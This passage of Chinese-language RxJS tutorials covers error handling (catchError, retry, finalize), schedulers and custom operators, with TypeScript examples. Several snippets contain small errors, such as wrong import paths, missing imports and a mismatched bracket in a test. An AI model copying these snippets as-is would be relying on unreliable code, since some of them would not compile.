map(x => x * 2), finalize(() => { console.log('Cleanup completed'); })).subscribe(console.log);// 输出: 2, 4, 6, Cleanup completed清理资源:import { interval } from 'rxjs';import { take, finalize } from 'rxjs/operators';let connection: any = null;const data$ = interval(1000).pipe( take(5), finalize(() => { console.log('Closing connection...'); if (connection) { connection.close(); connection = null; } }));data$.subscribe(value => { if (!connection) { connection = { close: () => console.log('Connection closed') }; } console.log('Received:', value);});5. onErrorResumeNextonErrorResumeNext 在遇到错误时继续执行下一个 Observable。基本用法:import { of, onErrorResumeNext } from 'rxjs';const source1$ = of(1, 2, 3).pipe( map(x => { if (x === 2) throw new Error('Error'); return x; }));const source2$ = of(4, 5, 6);onErrorResumeNext(source1$, source2$).subscribe(console.log);// 输出: 1, 4, 5, 6实际应用场景1. HTTP 请求错误处理import { HttpClient } from '@angular/common/http';import { of, throwError } from 'rxjs';import { catchError, retry } from 'rxjs/operators';class DataService { constructor(private http: HttpClient) {} fetchData(id: string) { return this.http.get(`/api/data/${id}`).pipe( retry(3), // 重试3次 catchError(error => { console.error('Failed to fetch data:', error); if (error.status === 404) { return of(null); // 返回 null 而不是错误 } return throwError(() => new Error('Failed to load data')); }) ); }}2. 表单验证错误处理import { fromEvent } from 'rxjs';import { debounceTime, map, catchError } from 'rxjs/operators';const input$ = fromEvent(document.getElementById('email'), 'input').pipe( debounceTime(300), map(event => event.target.value), map(email => { if (!this.isValidEmail(email)) { throw new Error('Invalid email format'); } return email; }), catchError(error => { console.error('Validation error:', error.message); return of(''); // 返回空字符串 }));input$.subscribe(email => { console.log('Valid email:', email);});3. WebSocket 连接错误处理import { webSocket } from 'rxjs/webSocket';import { retryWhen, delay, tap } from 'rxjs/operators';function createWebSocket(url: string) { return webSocket(url).pipe( retryWhen(errors => errors.pipe( tap(error => console.error('WebSocket error:', error)), delay(5000) // 5秒后重试 ) ) );}const socket$ = createWebSocket('ws://localhost:8080');socket$.subscribe({ next: message => console.log('Received:', message), error: error => console.error('Connection failed:', error), complete: () => console.log('Connection closed')});4. 文件上传错误处理import { from } from 'rxjs';import { map, catchError, finalize } from 'rxjs/operators';function uploadFile(file: File) { return from(uploadToServer(file)).pipe( map(response => { if (!response.success) { throw new Error('Upload failed'); } return response; }), catchError(error => { console.error('Upload error:', error); return of({ success: false, error: error.message }); }), finalize(() => { console.log('Upload process completed'); }) );}uploadFile(file).subscribe(result => { if (result.success) { console.log('File uploaded successfully'); } else { console.error('Upload failed:', result.error); }});错误处理最佳实践1. 分层错误处理import { of } from 'rxjs';import { map, catchError } from 'rxjs/operators';// 第一层:操作级错误处理const processed$ = source$.pipe( map(data => processData(data)), catchError(error => { console.error('Processing error:', error); return of(defaultData); }));// 第二层:订阅级错误处理processed$.subscribe({ next: data => console.log('Data:', data), error: error => console.error('Subscription error:', error)});2. 错误类型分类处理import { of, throwError } from 'rxjs';import { catchError } from 'rxjs/operators';function handleApiError(error: any) { if (error.status === 401) { // 未授权,跳转到登录页 return throwError(() => new Error('Unauthorized')); } else if (error.status === 404) { // 资源不存在,返回默认值 return of(null); } else if (error.status >= 500) { // 服务器错误,重试 return throwError(() => error); } else { // 其他错误 return of(null); }}apiCall().pipe( catchError(handleApiError)).subscribe();3. 错误日志记录import { of } from 'rxjs';import { catchError, tap } from 'rxjs/operators';function logError(error: any, context: string) { console.error(`[${context}] Error:`, error); // 发送到错误跟踪服务 errorTrackingService.log(error, context);}apiCall().pipe( tap({ error: error => logError(error, 'API Call') }), catchError(error => { return of(fallbackData); })).subscribe();4. 用户友好的错误消息import { of } from 'rxjs';import { catchError } from 'rxjs/operators';function getUserFriendlyMessage(error: any): string { const errorMap = { 'Network Error': '网络连接失败,请检查您的网络', 'Timeout': '请求超时,请稍后重试', 'Unauthorized': '请先登录', 'default': '发生错误,请稍后重试' }; return errorMap[error.message] || errorMap['default'];}apiCall().pipe( catchError(error => { const userMessage = getUserFriendlyMessage(error); showNotification(userMessage); return of(null); })).subscribe();常见错误处理模式1. 重试模式import { of, throwError } from 'rxjs';import { retry, delayWhen, tap, timer } from 'rxjs/operators';function retryWithBackoff(maxRetries: number, delayMs: number) { return (source$) => source$.pipe( retryWhen(errors => errors.pipe( tap(error => console.error('Error:', error)), scan((retryCount, error) => { if (retryCount >= maxRetries) throw error; return retryCount + 1; }, 0), delayWhen(retryCount => timer(Math.pow(2, retryCount) * delayMs)) ) ) );}apiCall().pipe( retryWithBackoff(3, 1000)).subscribe();2. 降级模式import { of } from 'rxjs';import { catchError } from 'rxjs/operators';function withFallback<T>(fallback: T) { return (source$: Observable<T>) => source$.pipe( catchError(error => { console.warn('Using fallback:', error.message); return of(fallback); }) );}apiCall().pipe( withFallback(defaultData)).subscribe();3. 断路器模式import { of, throwError } from 'rxjs';import { catchError, scan, tap } from 'rxjs/operators';let failureCount = 0;const threshold = 5;const resetTimeout = 60000; // 1分钟function circuitBreaker<T>(source$: Observable<T>): Observable<T> { return source$.pipe( tap({ error: () => failureCount++, next: () => failureCount = 0 }), catchError(error => { if (failureCount >= threshold) { return throwError(() => new Error('Circuit breaker open')); } return throwError(() => error); }) );}apiCall().pipe( circuitBreaker).subscribe();总结RxJS 错误处理的关键点:catchError: 捕获错误并返回新的 Observableretry/retryWhen: 实现重试逻辑finalize: 执行清理操作onErrorResumeNext: 遇到错误时继续执行分层处理: 在不同层级处理不同类型的错误用户友好: 提供清晰的错误消息日志记录: 记录错误以便调试重试策略: 合理设置重试次数和延迟正确处理错误可以显著提升应用的稳定性和用户体验。
阅读 0·2月21日 16:23

RxJS 中的调度器(Scheduler)是什么?如何使用?

调度器(Scheduler)的概念调度器是 RxJS 中控制何时以及如何执行通知(next、error、complete)的机制。它决定了 Observable 的执行上下文和时序。为什么需要调度器时间控制: 控制任务的执行时间并发控制: 管理异步操作的执行顺序性能优化: 合理分配任务执行测试便利: 在测试中控制时序RxJS 内置调度器1. null / undefined(同步调度器)默认调度器,同步执行所有操作。import { of } from 'rxjs';of(1, 2, 3).subscribe({ next: value => console.log('Next:', value), complete: () => console.log('Complete')});console.log('After subscription');// 输出:// Next: 1// Next: 2// Next: 3// Complete// After subscription2. asapScheduler(微任务调度器)使用 Promise.then() 或 MutationObserver,在微任务队列中执行。import { of, asapScheduler } from 'rxjs';of(1, 2, 3, asapScheduler).subscribe({ next: value => console.log('Next:', value), complete: () => console.log('Complete')});console.log('After subscription');// 输出:// After subscription// Next: 1// Next: 2// Next: 3// Complete使用场景:需要在当前调用栈完成后执行避免阻塞主线程类似于 setTimeout(fn, 0) 但性能更好3. asyncScheduler(宏任务调度器)使用 setInterval,在宏任务队列中执行。import { of, asyncScheduler } from 'rxjs';of(1, 2, 3, asyncScheduler).subscribe({ next: value => console.log('Next:', value), complete: () => console.log('Complete')});console.log('After subscription');// 输出:// After subscription// Next: 1// Next: 2// Next: 3// Complete使用场景:需要延迟执行定时任务避免阻塞 UI 渲染4. queueScheduler(队列调度器)在当前事件帧中调度任务,保持顺序执行。import { of, queueScheduler } from 'rxjs';of(1, 2, 3, queueScheduler).subscribe({ next: value => console.log('Next:', value), complete: () => console.log('Complete')});console.log('After subscription');// 输出:// Next: 1// Next: 2// Next: 3// Complete// After subscription使用场景:需要保持执行顺序递归操作避免栈溢出5. animationFrameScheduler(动画帧调度器)基于 requestAnimationFrame,与浏览器渲染周期同步。import { interval, animationFrameScheduler } from 'rxjs';import { take } from 'rxjs/operators';interval(0, animationFrameScheduler).pipe( take(5)).subscribe(value => { console.log('Frame:', value);});// 输出: 与浏览器渲染帧同步的值使用场景:动画效果平滑的 UI 更新游戏开发调度器的使用方式1. 在 Observable 创建时指定import { of, asyncScheduler } from 'rxjs';// 使用 asyncScheduler 延迟执行const source$ = of(1, 2, 3, asyncScheduler);source$.subscribe(value => console.log(value));2. 在操作符中使用import { of } from 'rxjs';import { observeOn, subscribeOn } from 'rxjs/operators';// observeOn: 控制下游的执行调度of(1, 2, 3).pipe( observeOn(asyncScheduler)).subscribe(value => console.log(value));// subscribeOn: 控制订阅的执行调度of(1, 2, 3).pipe( subscribeOn(asyncScheduler)).subscribe(value => console.log(value));3. 使用 schedule 方法import { asyncScheduler } from 'rxjs';// 立即执行asyncScheduler.schedule(() => { console.log('Immediate execution');});// 延迟执行asyncScheduler.schedule(() => { console.log('Delayed execution');}, 1000);// 周期性执行let count = 0;asyncScheduler.schedule(function (state) { if (++count > 3) { return; } console.log('Periodic execution:', count); this.schedule(state, 1000);}, 1000);实际应用场景1. 延迟执行import { of, asyncScheduler } from 'rxjs';// 延迟 1 秒后执行of('Hello', asyncScheduler).pipe( delay(1000, asyncScheduler)).subscribe(message => { console.log(message);});2. 节流和防抖import { fromEvent } from 'rxjs';import { throttleTime, debounceTime, asyncScheduler } from 'rxjs/operators';// 节流:每 200ms 最多执行一次fromEvent(window, 'scroll').pipe( throttleTime(200, asyncScheduler, { leading: true, trailing: true })).subscribe(event => { console.log('Throttled scroll event');});// 防抖:停止滚动 300ms 后执行fromEvent(window, 'scroll').pipe( debounceTime(300, asyncScheduler)).subscribe(event => { console.log('Debounced scroll event');});3. 动画效果import { interval, animationFrameScheduler } from 'rxjs';import { map, takeWhile } from 'rxjs/operators';// 平滑的动画效果function animate(element: HTMLElement, duration: number) { const startTime = performance.now(); return interval(0, animationFrameScheduler).pipe( map(() => (performance.now() - startTime) / duration), takeWhile(progress => progress <= 1), map(progress => easeInOutQuad(progress)) );}function easeInOutQuad(t: number): number { return t < 0.5 ? 2 * t * t : -1 + (4 - 2 * t) * t;}animate(element, 1000).subscribe(progress => { element.style.opacity = progress.toString();});4. 批量处理import { of, queueScheduler } from 'rxjs';import { map } from 'rxjs/operators';// 使用 queueScheduler 保持顺序of(1, 2, 3, 4, 5, queueScheduler).pipe( map(x => { console.log('Processing:', x); return x * 2; })).subscribe(value => { console.log('Result:', value);});5. 递归操作避免栈溢出import { queueScheduler } from 'rxjs';function processLargeArray(array: number[]) { let index = 0; function processNext() { if (index >= array.length) { console.log('Processing complete'); return; } console.log('Processing item:', array[index]); index++; // 使用 queueScheduler 避免栈溢出 queueScheduler.schedule(processNext); } processNext();}processLargeArray(new Array(100000).fill(0).map((_, i) => i));调度器对比| 调度器 | 执行时机 | 使用场景 | 性能 ||--------|----------|----------|------|| null/undefined | 同步 | 默认执行 | 最高 || asapScheduler | 微任务 | 非阻塞执行 | 高 || asyncScheduler | 宏任务 | 延迟执行 | 中 || queueScheduler | 当前帧 | 保持顺序 | 高 || animationFrameScheduler | 动画帧 | 动画效果 | 中 |最佳实践1. 选择合适的调度器import { of, asyncScheduler, asapScheduler } from 'rxjs';// 需要延迟执行of(1, 2, 3, asyncScheduler).subscribe();// 需要非阻塞执行of(1, 2, 3, asapScheduler).subscribe();2. 避免过度使用调度器// ❌ 不必要的调度器使用of(1, 2, 3).pipe( observeOn(asyncScheduler), observeOn(asapScheduler)).subscribe();// ✅ 只在需要时使用of(1, 2, 3).pipe( observeOn(asyncScheduler)).subscribe();3. 在测试中使用调度器import { TestScheduler } from 'rxjs/testing';describe('My Observable', () => { let testScheduler: TestScheduler; beforeEach(() => { testScheduler = new TestScheduler((actual, expected) => { expect(actual).toEqual(expected); }); }); it('should emit values with delay', () => { testScheduler.run(({ cold, expectObservable }) => { const source$ = cold('-a-b-c|'); const expected = '--a-b-c|'; expectObservable(source$.pipe( delay(1, testScheduler) })).toBe(expected); }); });});4. 动画使用 animationFrameSchedulerimport { interval, animationFrameScheduler } from 'rxjs';import { take } from 'rxjs/operators';// ✅ 动画使用 animationFrameSchedulerinterval(0, animationFrameScheduler).pipe( take(60) // 60 帧动画).subscribe(frame => { updateAnimation(frame / 60);});// ❌ 不要使用 asyncSchedulerinterval(16, asyncScheduler).pipe( take(60)).subscribe(frame => { updateAnimation(frame / 60);});常见问题1. 调度器是否影响性能?答案: 是的,调度器会引入一定的性能开销。同步调度器(null)性能最好,异步调度器会有额外的调度开销。2. 如何选择调度器?答案:默认情况:不指定调度器需要延迟:asyncScheduler需要非阻塞:asapScheduler需要保持顺序:queueScheduler动画效果:animationFrameScheduler3. observeOn 和 subscribeOn 的区别?答案:observeOn: 控制下游(订阅者)的执行调度subscribeOn: 控制上游(订阅)的执行调度import { of, asyncScheduler } from 'rxjs';import { observeOn, subscribeOn } from 'rxjs/operators';// observeOn: 下游在 asyncScheduler 中执行of(1, 2, 3).pipe( observeOn(asyncScheduler)).subscribe(value => { console.log('Value:', value); // 在 asyncScheduler 中执行});// subscribeOn: 订阅在 asyncScheduler 中执行of(1, 2, 3).pipe( subscribeOn(asyncScheduler)).subscribe(value => { console.log('Value:', value); // 在默认调度器中执行});总结调度器是 RxJS 中强大的工具,它提供了:时间控制: 精确控制任务的执行时间并发管理: 合理管理异步操作的执行顺序性能优化: 根据场景选择合适的调度器测试支持: 在测试中控制时序正确使用调度器可以显著提升应用的性能和用户体验。理解不同调度器的特性和使用场景,是成为 RxJS 高级开发者的关键。
阅读 0·2月21日 16:23

RxJS 中如何创建自定义操作符?

自定义操作符的概念自定义操作符允许你创建可重用的 RxJS 操作符,封装特定的业务逻辑或数据处理模式。这有助于提高代码的可读性、可维护性和复用性。创建自定义操作符的方法1. 使用 Observable.create最基本的方法,直接创建 Observable。import { Observable } from 'rxjs';function myCustomOperator<T>(source$: Observable<T>): Observable<T> { return new Observable(subscriber => { return source$.subscribe({ next: value => { // 处理每个值 subscriber.next(value); }, error: error => { subscriber.error(error); }, complete: () => { subscriber.complete(); } }); });}// 使用of(1, 2, 3).pipe( myCustomOperator()).subscribe(console.log);2. 使用 pipeable 操作符推荐的方法,创建可管道化的操作符。import { Observable, OperatorFunction } from 'rxjs';function myCustomOperator<T>(): OperatorFunction<T, T> { return (source$: Observable<T>) => new Observable(subscriber => { return source$.subscribe({ next: value => { // 处理逻辑 subscriber.next(value); }, error: error => { subscriber.error(error); }, complete: () => { subscriber.complete(); } }); });}// 使用of(1, 2, 3).pipe( myCustomOperator()).subscribe(console.log);3. 使用现有操作符组合通过组合现有操作符来创建新的操作符。import { Observable, pipe } from 'rxjs';import { map, filter, tap } from 'rxjs/operators';function processAndFilter<T>( predicate: (value: T) => boolean, processor: (value: T) => T) { return pipe( map(processor), filter(predicate), tap(value => console.log('Processed:', value)) );}// 使用of(1, 2, 3, 4, 5).pipe( processAndFilter( x => x > 2, x => x * 2 )).subscribe(console.log);// 输出: 6, 8, 10实际应用示例1. 日志操作符import { Observable, OperatorFunction } from 'rxjs';import { tap } from 'rxjs/operators';function log<T>(prefix: string = ''): OperatorFunction<T, T> { return (source$: Observable<T>) => source$.pipe( tap({ next: value => console.log(`${prefix}Next:`, value), error: error => console.error(`${prefix}Error:`, error), complete: () => console.log(`${prefix}Complete`) }) );}// 使用of(1, 2, 3).pipe( log('Data: ')).subscribe(console.log);// 输出:// Data: Next: 1// Data: Next: 2// Data: Next: 3// Data: Complete2. 重试操作符import { Observable, OperatorFunction, throwError, of } from 'rxjs';import { retryWhen, delay, take, scan, tap } from 'rxjs/operators';function retryWithBackoff<T>( maxRetries: number = 3, delayMs: number = 1000): OperatorFunction<T, T> { return (source$: Observable<T>) => source$.pipe( retryWhen(errors => errors.pipe( scan((retryCount, error) => { if (retryCount >= maxRetries) { throw error; } return retryCount + 1; }, 0), tap(retryCount => console.log(`Retry attempt ${retryCount + 1}/${maxRetries}`) ), delay(delayMs) ) ) );}// 使用of(1).pipe( map(() => { throw new Error('Network error'); }), retryWithBackoff(3, 1000)).subscribe({ next: console.log, error: error => console.error('Failed:', error.message)});3. 缓存操作符import { Observable, OperatorFunction } from 'rxjs';import { shareReplay, tap } from 'rxjs/operators';function cache<T>( bufferSize: number = 1, windowTime: number = 0): OperatorFunction<T, T> { return (source$: Observable<T>) => source$.pipe( tap(() => console.log('Fetching data...')), shareReplay(bufferSize, windowTime) );}// 使用const data$ = http.get('/api/data').pipe( cache(1, 60000) // 缓存 1 个值,60 秒);// 第一次调用会发起请求data$.subscribe(data => console.log('First:', data));// 第二次调用会使用缓存setTimeout(() => { data$.subscribe(data => console.log('Second:', data));}, 1000);4. 防抖操作符import { Observable, OperatorFunction, timer } from 'rxjs';import { debounceTime, distinctUntilChanged } from 'rxjs/operators';function smartDebounce<T>( delayMs: number = 300, comparator: (prev: T, curr: T) => boolean = (a, b) => a === b): OperatorFunction<T, T> { return (source$: Observable<T>) => source$.pipe( debounceTime(delayMs), distinctUntilChanged(comparator) );}// 使用fromEvent(inputElement, 'input').pipe( map(event => event.target.value), smartDebounce(300)).subscribe(value => { console.log('Debounced value:', value);});5. 分页操作符import { Observable, OperatorFunction, from } from 'rxjs';import { concatMap, scan, map } from 'rxjs/operators';function paginate<T>( pageSize: number, fetchPage: (page: number) => Observable<T[]>): OperatorFunction<void, T> { return (source$: Observable<void>) => source$.pipe( concatMap(() => { let currentPage = 0; let allItems: T[] = []; return new Observable<T>(subscriber => { function loadNextPage() { fetchPage(currentPage).pipe( map(items => { allItems = [...allItems, ...items]; items.forEach(item => subscriber.next(item)); if (items.length < pageSize) { subscriber.complete(); } else { currentPage++; loadNextPage(); } }) ).subscribe(); } loadNextPage(); }); }) );}// 使用function fetchPage(page: number): Observable<number[]> { return of( Array.from({ length: 10 }, (_, i) => page * 10 + i) ).pipe(delay(500));}of(undefined).pipe( paginate(10, fetchPage)).subscribe(item => { console.log('Item:', item);});6. 错误恢复操作符import { Observable, OperatorFunction, of, throwError } from 'rxjs';import { catchError } from 'rxjs/operators';function withFallback<T>( fallbackValue: T, shouldFallback: (error: any) => boolean = () => true): OperatorFunction<T, T> { return (source$: Observable<T>) => source$.pipe( catchError(error => { if (shouldFallback(error)) { console.warn('Using fallback value'); return of(fallbackValue); } return throwError(() => error); }) );}// 使用http.get('/api/data').pipe( withFallback([], error => error.status === 404)).subscribe(data => { console.log('Data:', data);});高级自定义操作符1. 状态管理操作符import { Observable, OperatorFunction, BehaviorSubject } from 'rxjs';import { tap, switchMap } from 'rxjs/operators';function withState<T, S>( initialState: S, reducer: (state: S, value: T) => S): OperatorFunction<T, [T, S]> { return (source$: Observable<T>) => { const state$ = new BehaviorSubject<S>(initialState); return source$.pipe( tap(value => { const newState = reducer(state$.value, value); state$.next(newState); }), switchMap(value => state$.pipe( map(state => [value, state] as [T, S]) ) ) ); };}// 使用of(1, 2, 3, 4, 5).pipe( withState(0, (sum, value) => sum + value)).subscribe(([value, sum]) => { console.log(`Value: ${value}, Sum: ${sum}`);});// 输出:// Value: 1, Sum: 1// Value: 2, Sum: 3// Value: 3, Sum: 6// Value: 4, Sum: 10// Value: 5, Sum: 152. 性能监控操作符import { Observable, OperatorFunction } from 'rxjs';import { tap, finalize } from 'rxjs/operators';function measurePerformance<T>( label: string = 'Operation'): OperatorFunction<T, T> { return (source$: Observable<T>) => { const startTime = performance.now(); return source$.pipe( tap({ next: () => { const elapsed = performance.now() - startTime; console.log(`${label} - Next: ${elapsed.toFixed(2)}ms`); }, complete: () => { const elapsed = performance.now() - startTime; console.log(`${label} - Complete: ${elapsed.toFixed(2)}ms`); } }), finalize(() => { const elapsed = performance.now() - startTime; console.log(`${label} - Total: ${elapsed.toFixed(2)}ms`); }) ); };}// 使用http.get('/api/data').pipe( measurePerformance('API Call')).subscribe(data => { console.log('Data:', data);});3. 批量处理操作符import { Observable, OperatorFunction, timer } from 'rxjs';import { bufferTime, filter, mergeMap } from 'rxjs/operators';function batch<T>( batchSize: number, batchTimeout: number = 1000): OperatorFunction<T, T[]> { return (source$: Observable<T>) => source$.pipe( bufferTime(batchTimeout), filter(batch => batch.length > 0), mergeMap(batch => { // 如果批次大小超过阈值,分割成更小的批次 if (batch.length > batchSize) { const batches: T[][] = []; for (let i = 0; i < batch.length; i += batchSize) { batches.push(batch.slice(i, i + batchSize)); } return from(batches); } return of(batch); }) );}// 使用interval(100).pipe( take(25), batch(10, 500)).subscribe(batch => { console.log('Batch:', batch);});最佳实践1. 保持操作符纯粹// ✅ 好的做法:纯粹的操作符function double<T extends number>(): OperatorFunction<T, T> { return map(x => x * 2 as T);}// ❌ 不好的做法:有副作用的操作符function doubleWithSideEffect<T extends number>(): OperatorFunction<T, T> { return map(x => { console.log('Doubling:', x); // 副作用 return x * 2 as T; });}2. 提供合理的默认值function retry<T>( maxRetries: number = 3, delayMs: number = 1000): OperatorFunction<T, T> { return (source$: Observable<T>) => source$.pipe( retryWhen(errors => errors.pipe( scan((retryCount, error) => { if (retryCount >= maxRetries) throw error; return retryCount + 1; }, 0), delay(delayMs) ) ) );}3. 正确处理错误function safeMap<T, R>( project: (value: T) => R, errorHandler?: (error: any) => R): OperatorFunction<T, R> { return (source$: Observable<T>) => source$.pipe( map(value => { try { return project(value); } catch (error) { if (errorHandler) { return errorHandler(error); } throw error; } }) );}4. 提供类型安全function filterByProperty<T, K extends keyof T>( property: K, value: T[K]): OperatorFunction<T, T> { return (source$: Observable<T>) => source$.pipe( filter(item => item[property] === value) );}// 使用interface User { id: number; name: string; role: 'admin' | 'user';}of<User>( { id: 1, name: 'Alice', role: 'admin' }, { id: 2, name: 'Bob', role: 'user' }).pipe( filterByProperty('role', 'admin')).subscribe(user => { console.log('Admin:', user.name);});测试自定义操作符import { TestScheduler } from 'rxjs/testing';describe('Custom Operators', () => { let testScheduler: TestScheduler; beforeEach(() => { testScheduler = new TestScheduler((actual, expected) => { expect(actual).toEqual(expected); }); }); it('should double values', () => { testScheduler.run(({ cold, expectObservable }) => { const source$ = cold('-a-b-c-|'); const expected = '-A-B-C-|'; const result$ = source$.pipe(double()); expectObservable(result$).toBe(expected, { a: 1, b: 2, c: 3, A: 2, B: 4, C: 6 }); }); });});总结创建自定义 RxJS 操作符的关键点:使用 pipeable 操作符: 推荐使用 OperatorFunction 类型保持纯粹: 避免不必要的副作用正确处理错误: 提供错误处理机制提供类型安全: 使用 TypeScript 泛型合理默认值: 提供合理的默认参数可测试性: 确保操作符易于测试文档完善: 提供清晰的文档和示例自定义操作符可以显著提升代码的可读性和可维护性,是 RxJS 高级开发的重要技能。
阅读 0·2月21日 16:23